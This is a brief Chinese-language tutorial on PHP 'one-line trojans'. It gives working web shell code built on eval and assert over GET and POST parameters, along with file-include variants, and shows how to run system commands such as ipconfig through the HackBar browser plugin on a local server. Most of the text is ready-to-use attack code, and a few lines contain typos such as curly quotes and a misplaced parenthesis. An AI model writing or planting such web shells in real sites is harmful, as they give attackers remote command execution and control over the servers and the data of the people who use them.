一句话木马

1.Get

第一步：先创建一个get.php文档

第二步：用notepad++打开，编辑，输入代码

header('Content-Type:text/html;charset=gbk');     因为浏览器不同，有可能出现乱码，输入这个命

令，可以避免这个问题

<?php @eval($_GET['cmd']);?>

 第三步：用浏览器打开，就可以查看我们的信息

 2.post

post步骤和get基本相同

第一步：新建一个post文档

第二步：用notepad++打开，编辑，输入代码

header('Content-Type:text/html;charset=gbk');  

<?php @eval($_POST[‘cmd’]);?>

        第三步：用浏览器打开，点击F12，找到HackBar,（注意这个HackBar是一个浏览器的插件，

需要我们使用火狐浏览器，在扩张里面搜这个插件，点击安装即可）

这里是安装好的样子

 输入代码

http://127.0.0.1/post.php

 点击下方Past data,输入cmd=system(‘ipconfig’);

 最后点击execute即可

 3.assert

第一步：创建assert文档

第二步：用notepad++打开，编辑，输入代码

<?php  @assert($_POST[‘cmd’])

第三步：打开浏览器，点击F12，输入

Cmd=system(‘ipconfig’);

 4.GET文件包含

第一步：创建一个新的2.php文档

第二步：在新建的2.php中输入

<?php phpinfo();?>

 第三步：在我们一开始的get代码中，加上一条include  “2.php”;

 第三步：用浏览器打开即可

 5.post文件包含

第一步：因为我们已经创建过新的文档(2.php)，在post.php的基础上，输入

     <?php include “2.php”;

  @eval ($_POST[‘cmd’];)

?>

 

第二步：和get相同用浏览器打开，点击F12，找到HackBar,输入代码

http://127.0.0.1/post.php

点击下方Past data,输入cmd=system(‘ipconfig’)；